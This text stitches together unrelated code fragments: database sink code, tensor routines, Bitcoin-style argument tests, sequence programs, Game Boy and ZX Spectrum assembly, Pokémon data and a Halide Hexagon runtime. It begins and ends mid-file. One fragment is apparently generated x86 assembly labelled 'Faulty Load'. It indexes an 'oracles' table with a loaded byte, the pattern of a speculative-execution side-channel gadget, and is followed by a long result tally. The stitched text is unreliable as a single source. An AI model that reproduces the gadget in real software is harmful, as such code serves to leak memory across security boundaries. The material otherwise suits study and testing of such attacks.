state->exec_env()->result_queue_mgr()->create_queue(fragment_instance_id, &_queue); std::stringstream title; title << "MemoryScratchSink (frag_id=" << fragment_instance_id << ")"; // create profile _profile = state->obj_pool()->add(new RuntimeProfile(title.str())); return Status::OK(); } Status MemoryScratchSink::send(RuntimeState* state, RowBatch* batch) { if (nullptr == batch || 0 == batch->num_rows()) { return Status::OK(); } std::shared_ptr<arrow::RecordBatch> result; RETURN_IF_ERROR( convert_to_arrow_batch(*batch, _arrow_schema, arrow::default_memory_pool(), &result)); _queue->blocking_put(result); return Status::OK(); } Status MemoryScratchSink::open(RuntimeState* state) { return Expr::open(_output_expr_ctxs, state); } Status MemoryScratchSink::close(RuntimeState* state, Status exec_status) { if (_closed) { return Status::OK(); } // put sentinel if (_queue != nullptr) { _queue->blocking_put(nullptr); } Expr::close(_output_expr_ctxs, state); return DataSink::close(state, exec_status); } } // namespace doris
format PE64 console entry start include 'win64a.inc' section '.idata' import data readable writeable library kernel32, 'kernel32.dll', \ msvcrt, 'MSVCRT.DLL' import kernel32, \ ExitProcess, 'ExitProcess' import msvcrt, \ printf, 'printf', \ scanf, 'scanf' section '.data' data readable szEnterNum db 'Please enter a number: ',0 szResult db '%d + %d = %d',10,0 szReadNumFormat db '%d',0 section '.bss' data readable writeable dwFirstNum rq 1 dwSecondNum rq 1 dwResult rq 1 section '.text' code readable executable start: ; Ask for the first number mov rcx, szEnterNum call [printf] mov rcx, szReadNumFormat mov rdx, dwFirstNum call [scanf] ; Ask for the second number mov rcx, szEnterNum call [printf] mov rcx, szReadNumFormat mov rdx, dwSecondNum call [scanf] ; Add both numbers mov rax, [dwFirstNum] mov rbx, [dwSecondNum] add rax, rbx mov [dwResult], rax ; Print the result mov rcx, szResult mov rdx, [dwFirstNum] mov r8, [dwSecondNum] mov r9, [dwResult] call [printf] exit: mov rcx, 0 call [ExitProcess]
#include "dot.h" #include "util/macros.h" #include "util/tensor.hpp" #include "internal/1t/dot.hpp" namespace tblis { extern "C" { void tblis_tensor_dot(const tblis_comm* comm, const tblis_config* cfg, const tblis_tensor* A, const label_type* idx_A_, const tblis_tensor* B, const label_type* idx_B_, tblis_scalar* result) { TBLIS_ASSERT(A->type == B->type); TBLIS_ASSERT(A->type == result->type); unsigned ndim_A = A->ndim; std::vector<len_type> len_A; std::vector<stride_type> stride_A; std::vector<label_type> idx_A; diagonal(ndim_A, A->len, A->stride, idx_A_, len_A, stride_A, idx_A); unsigned ndim_B = B->ndim; std::vector<len_type> len_B; std::vector<stride_type> stride_B; std::vector<label_type> idx_B; diagonal(ndim_B, B->len, B->stride, idx_B_, len_B, stride_B, idx_B); auto idx_AB = stl_ext::intersection(idx_A, idx_B); auto len_AB = stl_ext::select_from(len_A, idx_A, idx_AB); TBLIS_ASSERT(len_AB == stl_ext::select_from(len_B, idx_B, idx_AB)); auto stride_A_AB = stl_ext::select_from(stride_A, idx_A, idx_AB); auto stride_B_AB = stl_ext::select_from(stride_B, idx_B, idx_AB); auto idx_A_only = stl_ext::exclusion(idx_A, idx_AB); auto len_A_only = stl_ext::select_from(len_A, idx_A, idx_A_only); auto stride_A_only = stl_ext::select_from(stride_A, idx_A, idx_A_only); auto idx_B_only = stl_ext::exclusion(idx_B, idx_AB); auto len_B_only = stl_ext::select_from(len_B, idx_B, idx_B_only); auto stride_B_only = stl_ext::select_from(stride_B, idx_B, idx_B_only); fold(len_AB, idx_AB, stride_A_AB, stride_B_AB); fold(len_A_only, idx_A_only, stride_A_only); fold(len_B_only, idx_B_only, stride_B_only); TBLIS_WITH_TYPE_AS(A->type, T, { parallelize_if(internal::dot<T>, comm, get_config(cfg), len_A_only, len_B_only, len_AB, A->conj, static_cast<const T*>(A->data), stride_A_only, stride_A_AB, B->conj, static_cast<const T*>(B->data), stride_B_only, stride_B_AB, result->get<T>()); result->get<T>() *= A->alpha<T>()*B->alpha<T>(); }) } } }
// Copyright (c) 2012-2015 The Bitcoin Core developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include "util.h" #include "test/test_gull.h" #include <string> #include <vector> #include <boost/algorithm/string.hpp> #include <boost/foreach.hpp> #include <boost/test/unit_test.hpp> BOOST_FIXTURE_TEST_SUITE(getarg_tests, BasicTestingSetup) static void ResetArgs(const std::string& strArg) { std::vector<std::string> vecArg; if (strArg.size()) boost::split(vecArg, strArg, boost::is_space(), boost::token_compress_on); // Insert dummy executable name: vecArg.insert(vecArg.begin(), "testgull"); // Convert to char*: std::vector<const char*> vecChar; BOOST_FOREACH(std::string& s, vecArg) vecChar.push_back(s.c_str()); ParseParameters(vecChar.size(), &vecChar[0]); } BOOST_AUTO_TEST_CASE(boolarg) { ResetArgs("-foo"); BOOST_CHECK(GetBoolArg("-foo", false)); BOOST_CHECK(GetBoolArg("-foo", true)); BOOST_CHECK(!GetBoolArg("-fo", false)); BOOST_CHECK(GetBoolArg("-fo", true)); BOOST_CHECK(!GetBoolArg("-fooo", false)); BOOST_CHECK(GetBoolArg("-fooo", true)); ResetArgs("-foo=0"); BOOST_CHECK(!GetBoolArg("-foo", false)); BOOST_CHECK(!GetBoolArg("-foo", true)); ResetArgs("-foo=1"); BOOST_CHECK(GetBoolArg("-foo", false)); BOOST_CHECK(GetBoolArg("-foo", true)); // New 0.6 feature: auto-map -nosomething to !-something: ResetArgs("-nofoo"); BOOST_CHECK(!GetBoolArg("-foo", false)); BOOST_CHECK(!GetBoolArg("-foo", true)); ResetArgs("-nofoo=1"); BOOST_CHECK(!GetBoolArg("-foo", false)); BOOST_CHECK(!GetBoolArg("-foo", true)); ResetArgs("-foo -nofoo"); // -nofoo should win BOOST_CHECK(!GetBoolArg("-foo", false)); BOOST_CHECK(!GetBoolArg("-foo", true)); ResetArgs("-foo=1 -nofoo=1"); // -nofoo should win BOOST_CHECK(!GetBoolArg("-foo", false)); BOOST_CHECK(!GetBoolArg("-foo", true)); ResetArgs("-foo=0 -nofoo=0"); // -nofoo=0 should win BOOST_CHECK(GetBoolArg("-foo", false)); BOOST_CHECK(GetBoolArg("-foo", true)); // New 0.6 feature: treat -- same as -: ResetArgs("--foo=1"); BOOST_CHECK(GetBoolArg("-foo", false)); BOOST_CHECK(GetBoolArg("-foo", true)); ResetArgs("--nofoo=1"); BOOST_CHECK(!GetBoolArg("-foo", false)); BOOST_CHECK(!GetBoolArg("-foo", true)); } BOOST_AUTO_TEST_CASE(stringarg) { ResetArgs(""); BOOST_CHECK_EQUAL(GetArg("-foo", ""), ""); BOOST_CHECK_EQUAL(GetArg("-foo", "eleven"), "eleven"); ResetArgs("-foo -bar"); BOOST_CHECK_EQUAL(GetArg("-foo", ""), ""); BOOST_CHECK_EQUAL(GetArg("-foo", "eleven"), ""); ResetArgs("-foo="); BOOST_CHECK_EQUAL(GetArg("-foo", ""), ""); BOOST_CHECK_EQUAL(GetArg("-foo", "eleven"), ""); ResetArgs("-foo=11"); BOOST_CHECK_EQUAL(GetArg("-foo", ""), "11"); BOOST_CHECK_EQUAL(GetArg("-foo", "eleven"), "11"); ResetArgs("-foo=eleven"); BOOST_CHECK_EQUAL(GetArg("-foo", ""), "eleven"); BOOST_CHECK_EQUAL(GetArg("-foo", "eleven"), "eleven"); } BOOST_AUTO_TEST_CASE(intarg) { ResetArgs(""); BOOST_CHECK_EQUAL(GetArg("-foo", 11), 11); BOOST_CHECK_EQUAL(GetArg("-foo", 0), 0); ResetArgs("-foo -bar"); BOOST_CHECK_EQUAL(GetArg("-foo", 11), 0); BOOST_CHECK_EQUAL(GetArg("-bar", 11), 0); ResetArgs("-foo=11 -bar=12"); BOOST_CHECK_EQUAL(GetArg("-foo", 0), 11); BOOST_CHECK_EQUAL(GetArg("-bar", 11), 12); ResetArgs("-foo=NaN -bar=NotANumber"); BOOST_CHECK_EQUAL(GetArg("-foo", 1), 0); BOOST_CHECK_EQUAL(GetArg("-bar", 11), 0); } BOOST_AUTO_TEST_CASE(doublegull) { ResetArgs("--foo"); BOOST_CHECK_EQUAL(GetBoolArg("-foo", false), true); ResetArgs("--foo=verbose --bar=1"); BOOST_CHECK_EQUAL(GetArg("-foo", ""), "verbose"); BOOST_CHECK_EQUAL(GetArg("-bar", 0), 1); } BOOST_AUTO_TEST_CASE(boolargno) { ResetArgs("-nofoo"); BOOST_CHECK(!GetBoolArg("-foo", true)); BOOST_CHECK(!GetBoolArg("-foo", false)); ResetArgs("-nofoo=1"); BOOST_CHECK(!GetBoolArg("-foo", true)); BOOST_CHECK(!GetBoolArg("-foo", false)); ResetArgs("-nofoo=0"); BOOST_CHECK(GetBoolArg("-foo", true)); BOOST_CHECK(GetBoolArg("-foo", false)); ResetArgs("-foo --nofoo"); // --nofoo should win BOOST_CHECK(!GetBoolArg("-foo", true)); BOOST_CHECK(!GetBoolArg("-foo", false)); ResetArgs("-nofoo -foo"); // foo always wins: BOOST_CHECK(GetBoolArg("-foo", true)); BOOST_CHECK(GetBoolArg("-foo", false)); } BOOST_AUTO_TEST_SUITE_END()
; A189680: a(n) = n + [nr/t] + [ns/t]; r=Pi/2, s=arcsin(3/5), t=arcsin(4/5). ; 2,6,10,12,16,20,22,26,30,32,36,40,44,46,50,54,56,60,64,66,70,74,76,80,84,88,90,94,98,100,104,108,110,114,118,120,124,128,132,134,138,142,144,148,152,154,158,162,166,168,172,176,178,182,186,188,192,196,198,202,206,210,212,216,220,222,226,230,232,236,240,242,246,250 seq $0,189682 ; (A189680)/2; from a 3-way partition of the positive integers. mul $0,2
; A322406: a(n) = n + n*n^n. ; 2,10,84,1028,15630,279942,5764808,134217736,3486784410,100000000010,3138428376732,106993205379084,3937376385699302,155568095557812238,6568408355712890640,295147905179352825872,14063084452067724991026,708235345355337676357650,37589973457545958193355620,2097152000000000000000000020,122694327386105632949003612862,7511413302012830262726227918870,480250763996501976790165756943064,32009658644406818986777955348250648 mov $2,$0 add $0,2 add $2,1 pow $2,$0 add $0,$2 sub $0,1
; A006001: Number of paraffins. ; 1,4,10,22,43,76,124,190,277,388,526,694,895,1132,1408,1726,2089,2500,2962,3478,4051,4684,5380,6142,6973,7876,8854,9910,11047,12268,13576,14974,16465,18052,19738,21526 mov $1,$0 add $0,1 bin $0,3 add $1,$0 mul $1,3 add $1,1
; A134362: a(n) is the number of functions f:X->X, where |X| = n, such that for every x in X, f(f(x)) != x (i.e., the square of the function has no fixed points; note this implies that the function has no fixed points). ; Submitted by Jon Maiga ; 1,0,0,2,30,444,7360,138690,2954364,70469000,1864204416,54224221050,1721080885480,59217131089908,2195990208122880,87329597612123594,3707783109757616400,167411012044894728720,8010372386879991018496,404912918159552083622130,21561957088638117240190176,1206498755444577024224211500,70773996713025030063971189760,4343232136946945567974719743442,278295724187624797859024656999360,18585916198989381091514985710102424,1291621763943183579920151421090560000,93261877023998894210746338655568825450 lpb $0 sub $0,1 add $3,1 mov $1,$3 mul $1,$0 sub $2,$3 add $2,$1 sub $2,$3 add $4,1 mul $3,$4 add $3,$2 lpe mov $0,$3 add $0,1
.size 8000 .text@48 inc a ldff(45), a jp lstatint .text@100 jp lbegin .data@143 c0 .text@150 lbegin: ld a, 00 ldff(ff), a ld a, 30 ldff(00), a ld a, 01 ldff(4d), a stop, 00 ld a, ff ldff(45), a ld b, 03 call lwaitly_b ld c, 41 lbegin_waitm0: ldff a, (c) and a, b jrnz lbegin_waitm0 ld a, 80 ldff(68), a ld a, ff ld c, 69 ldff(c), a ldff(c), a ldff(c), a ldff(c), a ldff(c), a ldff(c), a xor a, a ldff(c), a ldff(c), a ld a, 40 ldff(41), a ld a, 02 ldff(ff), a ei ld a, b inc a inc a ldff(45), a ld c, 0f .text@1000 lstatint: nop .text@10d3 ld a, ff ldff(45), a ldff a, (c) and a, b jp lprint_a .text@7000 lprint_a: push af ld b, 91 call lwaitly_b xor a, a ldff(40), a pop af ld(9800), a ld bc, 7a00 ld hl, 8000 ld d, a0 lprint_copytiles: ld a, (bc) inc bc ld(hl++), a dec d jrnz lprint_copytiles ld a, c0 ldff(47), a ld a, 80 ldff(68), a ld a, ff ldff(69), a ldff(69), a ldff(69), a ldff(69), a ldff(69), a ldff(69), a xor a, a ldff(69), a ldff(69), a ldff(43), a ld a, 91 ldff(40), a lprint_limbo: jr lprint_limbo .text@7400 lwaitly_b: ld c, 44 lwaitly_b_loop: ldff a, (c) cmp a, b jrnz lwaitly_b_loop ret .data@7a00 00 00 7f 7f 41 41 41 41 41 41 41 41 41 41 7f 7f 00 00 08 08 08 08 08 08 08 08 08 08 08 08 08 08 00 00 7f 7f 01 01 01 01 7f 7f 40 40 40 40 7f 7f 00 00 7f 7f 01 01 01 01 3f 3f 01 01 01 01 7f 7f 00 00 41 41 41 41 41 41 7f 7f 01 01 01 01 01 01 00 00 7f 7f 40 40 40 40 7e 7e 01 01 01 01 7e 7e 00 00 7f 7f 40 40 40 40 7f 7f 41 41 41 41 7f 7f 00 00 7f 7f 01 01 02 02 04 04 08 08 10 10 10 10 00 00 3e 3e 41 41 41 41 3e 3e 41 41 41 41 3e 3e 00 00 7f 7f 41 41 41 41 7f 7f 01 01 01 01 7f 7f
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r8 push %r9 push %rcx push %rdi push %rsi lea addresses_D_ht+0x103a1, %rsi lea addresses_D_ht+0x7421, %rdi nop nop nop nop nop inc %r12 mov $39, %rcx rep movsl nop nop xor $56294, %r9 lea addresses_WT_ht+0x6fa1, %r10 nop nop nop nop cmp %r9, %r9 movups (%r10), %xmm5 vpextrq $0, %xmm5, %r12 nop nop nop nop nop and $24308, %r10 lea addresses_WT_ht+0x1d581, %r12 nop and %r8, %r8 and $0xffffffffffffffc0, %r12 vmovntdqa (%r12), %ymm3 vextracti128 $1, %ymm3, %xmm3 vpextrq $1, %xmm3, %r9 nop nop xor %r10, %r10 lea addresses_WT_ht+0x15021, %rcx nop nop nop nop xor %r10, %r10 movups (%rcx), %xmm5 vpextrq $1, %xmm5, %rdi nop and $46304, %rdi lea addresses_normal_ht+0x21, %rdi nop nop nop nop sub $47206, %rsi mov (%rdi), %r12d nop nop nop cmp $22916, %r12 lea addresses_WC_ht+0xbd21, %rsi lea addresses_A_ht+0x63e5, %rdi nop nop nop nop lfence mov $116, %rcx rep movsb nop and %rsi, %rsi lea addresses_D_ht+0x1c21, %rsi lea addresses_D_ht+0xeee1, %rdi clflush (%rdi) nop nop nop nop and $46465, %r12 mov $121, %rcx rep movsb nop nop nop nop nop cmp %r8, %r8 lea addresses_WC_ht+0xd221, %r8 lfence mov (%r8), %rdi nop nop and $1830, %rcx lea addresses_UC_ht+0xd21, %r9 nop nop add $64249, %rcx mov $0x6162636465666768, %r10 movq %r10, (%r9) cmp $45710, %rsi pop %rsi pop %rdi pop %rcx pop %r9 pop %r8 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r15 push %r8 push %rbp push %rdx push %rsi // Store lea addresses_normal+0xfc21, %rbp xor %r12, %r12 movw $0x5152, (%rbp) nop nop nop and $40178, %r12 // Load lea addresses_RW+0x3585, %rsi nop inc %rdx vmovups (%rsi), %ymm3 vextracti128 $0, %ymm3, %xmm3 vpextrq $0, %xmm3, %r8 nop dec %r12 // Faulty Load lea addresses_WC+0x3821, %r11 nop nop nop add $34464, %rdx movups (%r11), %xmm3 vpextrq $1, %xmm3, %r12 lea oracles, %rbp and $0xff, %r12 shlq $12, %r12 mov (%rbp,%r12,1), %r12 pop %rsi pop %rdx pop %rbp pop %r8 pop %r15 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 9, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': False, 'NT': True, 'congruent': 5, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': True}} {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 2, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 8, 'AVXalign': False, 'NT': True, 'congruent': 8, 'same': False}} {'38': 12506} 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 */
db 0 ; species ID placeholder db 55, 95, 55, 115, 35, 75 ; hp atk def spd sat sdf db DARK, ICE ; type db 60 ; catch rate db 132 ; base exp db NO_ITEM, QUICK_CLAW ; items db GENDER_F50 ; gender ratio db 100 ; unknown 1 db 20 ; step cycles to hatch db 5 ; unknown 2 INCBIN "gfx/pokemon/sneasel/front.dimensions" db 0, 0, 0, 0 ; padding db GROWTH_MEDIUM_SLOW ; growth rate dn EGG_GROUND, EGG_GROUND ; egg groups ; tm/hm learnset tmhm DYNAMICPUNCH, HEADBUTT, CURSE, TOXIC, ROCK_SMASH, PSYCH_UP, DARK_PULSE, SNORE, BLIZZARD, ICY_WIND, PROTECT, RAIN_DANCE, POISON_FANG, IRON_HEAD, RETURN, DIG, SHADOW_BALL, DOUBLE_TEAM, ICE_PUNCH, SWAGGER, SLEEP_TALK, SWIFT, HI_JUMP_KICK, PURSUIT, REST, ATTRACT, THIEF, CUT, SURF, STRENGTH, ICE_BEAM ; end
; =============================================================== ; Jun 2007 ; =============================================================== ; ; void *zx_saddrcright(void *saddr) ; ; Modify screen address to move right one character (eight pixels) ; If at rightmost edge move to leftmost column on next pixel row. ; ; =============================================================== SECTION code_clib SECTION code_arch PUBLIC asm_zx_saddrcright asm_zx_saddrcright: ; enter : hl = screen address ; ; exit : hl = screen address moved to right one character ; carry set if new screen address is off screen ; ; uses : af, hl inc l ret nz ld a,$08 add a,h ld h,a and $18 cp $18 ccf ret
; A006416: Number of loopless rooted planar maps with 3 faces and n vertices and no isthmuses. Also a(n)=T(4,n-3), array T as in A049600. ; 1,8,20,38,63,96,138,190,253,328,416,518,635,768,918,1086,1273,1480,1708,1958,2231,2528,2850,3198,3573,3976,4408,4870,5363,5888,6446,7038,7665,8328,9028,9766,10543,11360,12218,13118,14061,15048,16080,17158,18283,19456,20678,21950,23273,24648,26076,27558,29095,30688,32338,34046,35813,37640,39528,41478,43491,45568,47710,49918,52193,54536,56948,59430,61983,64608,67306,70078,72925,75848,78848,81926,85083,88320,91638,95038,98521,102088,105740,109478,113303,117216,121218,125310,129493,133768,138136 mov $2,$0 add $0,5 bin $0,3 mul $2,3 sub $0,$2 sub $0,9
// Copyright 2015, The max Contributors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. namespace max { namespace v0 { namespace Algorithms { // Documentation: IsBetween.md template< typename T > MAX_PURE_DEFINITION( constexpr inline bool IsBetween( const T Value, const max::Containers::Range< T > & Range ) noexcept ) { return Range.Minimum <= Value && Value <= Range.Maximum; } } // namespace Algorithms } // namespace v0 } // namespace max
#include "runtime_internal.h" #include "device_buffer_utils.h" #include "device_interface.h" #include "HalideRuntimeHexagonHost.h" #include "printer.h" #include "scoped_mutex_lock.h" namespace Halide { namespace Runtime { namespace Internal { namespace Hexagon { struct ion_device_handle { void *buffer; size_t size; }; WEAK halide_mutex thread_lock = { { 0 } }; extern WEAK halide_device_interface hexagon_device_interface; // Define dynamic version of hexagon_remote/halide_hexagon_remote.h typedef struct _remote_buffer__seq_octet _remote_buffer__seq_octet; typedef _remote_buffer__seq_octet remote_buffer; struct _remote_buffer__seq_octet { unsigned char* data; int dataLen; }; typedef int (*remote_initialize_kernels_fn)(const unsigned char*, int, halide_hexagon_handle_t*); typedef halide_hexagon_handle_t (*remote_get_symbol_fn)(halide_hexagon_handle_t, const char*, int); typedef int (*remote_run_fn)(halide_hexagon_handle_t, int, const remote_buffer*, int, const remote_buffer*, int, remote_buffer*, int); typedef int (*remote_release_kernels_fn)(halide_hexagon_handle_t, int); typedef int (*remote_poll_log_fn)(char *, int, int *); typedef void (*remote_poll_profiler_state_fn)(int *, int *); typedef int (*remote_power_fn)(); typedef void (*host_malloc_init_fn)(); typedef void *(*host_malloc_fn)(size_t); typedef void (*host_free_fn)(void *); WEAK remote_initialize_kernels_fn remote_initialize_kernels = NULL; WEAK remote_get_symbol_fn remote_get_symbol = NULL; WEAK remote_run_fn remote_run = NULL; WEAK remote_release_kernels_fn remote_release_kernels = NULL; WEAK remote_poll_log_fn remote_poll_log = NULL; WEAK remote_poll_profiler_state_fn remote_poll_profiler_state = NULL; WEAK remote_power_fn remote_power_hvx_on = NULL; WEAK remote_power_fn remote_power_hvx_off = NULL; WEAK host_malloc_init_fn host_malloc_init = NULL; WEAK host_malloc_init_fn host_malloc_deinit = NULL; WEAK host_malloc_fn host_malloc = NULL; WEAK host_free_fn host_free = NULL; // This checks if there are any log messages available on the remote // side. It should be called after every remote call. WEAK void poll_log(void *user_context) { if (!remote_poll_log) return; while (true) { char message[1024]; int read = 0; int result = remote_poll_log(&message[0], sizeof(message), &read); if (result != 0) { // Don't make this an error, otherwise we might obscure // more information about errors that would come later. print(user_context) << "Hexagon: remote_poll_log failed " << result << "\n"; return; } if (read > 0) { halide_print(user_context, message); } else { break; } } } WEAK void get_remote_profiler_state(int *func, int *threads) { if (!remote_poll_profiler_state) { // This should only have been called if there's a remote profiler func installed. error(NULL) << "Hexagon: remote_poll_profiler_func not found\n"; } remote_poll_profiler_state(func, threads); } template <typename T> __attribute__((always_inline)) void get_symbol(void *user_context, const char* name, T &sym, bool required = true) { debug(user_context) << " halide_get_library_symbol('" << name << "') -> \n"; sym = (T)halide_hexagon_host_get_symbol(user_context, name); debug(user_context) << " " << (void *)sym << "\n"; if (!sym && required) { error(user_context) << "Required Hexagon runtime symbol '" << name << "' not found.\n"; } } // Load the hexagon remote runtime. WEAK int init_hexagon_runtime(void *user_context) { if (remote_initialize_kernels && remote_run && remote_release_kernels) { // Already loaded. return 0; } debug(user_context) << "Hexagon: init_hexagon_runtime (user_context: " << user_context << ")\n"; // Get the symbols we need from the library. get_symbol(user_context, "halide_hexagon_remote_initialize_kernels", remote_initialize_kernels); if (!remote_initialize_kernels) return -1; get_symbol(user_context, "halide_hexagon_remote_get_symbol", remote_get_symbol); if (!remote_get_symbol) return -1; get_symbol(user_context, "halide_hexagon_remote_run", remote_run); if (!remote_run) return -1; get_symbol(user_context, "halide_hexagon_remote_release_kernels", remote_release_kernels); if (!remote_release_kernels) return -1; get_symbol(user_context, "halide_hexagon_host_malloc_init", host_malloc_init); if (!host_malloc_init) return -1; get_symbol(user_context, "halide_hexagon_host_malloc_deinit", host_malloc_deinit); if (!host_malloc_deinit) return -1; get_symbol(user_context, "halide_hexagon_host_malloc", host_malloc); if (!host_malloc) return -1; get_symbol(user_context, "halide_hexagon_host_free", host_free); if (!host_free) return -1; // These symbols are optional. get_symbol(user_context, "halide_hexagon_remote_poll_log", remote_poll_log, /* required */ false); get_symbol(user_context, "halide_hexagon_remote_poll_profiler_state", remote_poll_profiler_state, /* required */ false); // If these are unavailable, then the runtime always powers HVX on and so these are not necessary. get_symbol(user_context, "halide_hexagon_remote_power_hvx_on", remote_power_hvx_on, /* required */ false); get_symbol(user_context, "halide_hexagon_remote_power_hvx_off", remote_power_hvx_off, /* required */ false); host_malloc_init(); return 0; } // Structure to hold the state of a module attached to the context. // Also used as a linked-list to keep track of all the different // modules that are attached to a context in order to release them all // when then context is released. struct module_state { halide_hexagon_handle_t module; size_t size; module_state *next; }; WEAK module_state *state_list = NULL; }}}} // namespace Halide::Runtime::Internal::Hexagon using namespace Halide::Runtime::Internal; using namespace Halide::Runtime::Internal::Hexagon; extern "C" { WEAK bool halide_is_hexagon_available(void *user_context) { int result = init_hexagon_runtime(user_context); return result == 0; } WEAK int halide_hexagon_initialize_kernels(void *user_context, void **state_ptr, const uint8_t *code, uint64_t code_size) { int result = init_hexagon_runtime(user_context); if (result != 0) return result; debug(user_context) << "Hexagon: halide_hexagon_initialize_kernels (user_context: " << user_context << ", state_ptr: " << state_ptr << ", *state_ptr: " << *state_ptr << ", code: " << code << ", code_size: " << (int)code_size << ")\n"; halide_assert(user_context, state_ptr != NULL); #ifdef DEBUG_RUNTIME uint64_t t_before = halide_current_time_ns(user_context); #endif // Create the state object if necessary. This only happens once, // regardless of how many times halide_hexagon_initialize_kernels // or halide_hexagon_device_release is called. // halide_hexagon_device_release traverses this list and releases // the module objects, but it does not modify the list nodes // created/inserted here. ScopedMutexLock lock(&thread_lock); module_state **state = (module_state**)state_ptr; if (!(*state)) { debug(user_context) << " allocating module state -> \n"; *state = (module_state*)malloc(sizeof(module_state)); debug(user_context) << " " << *state << 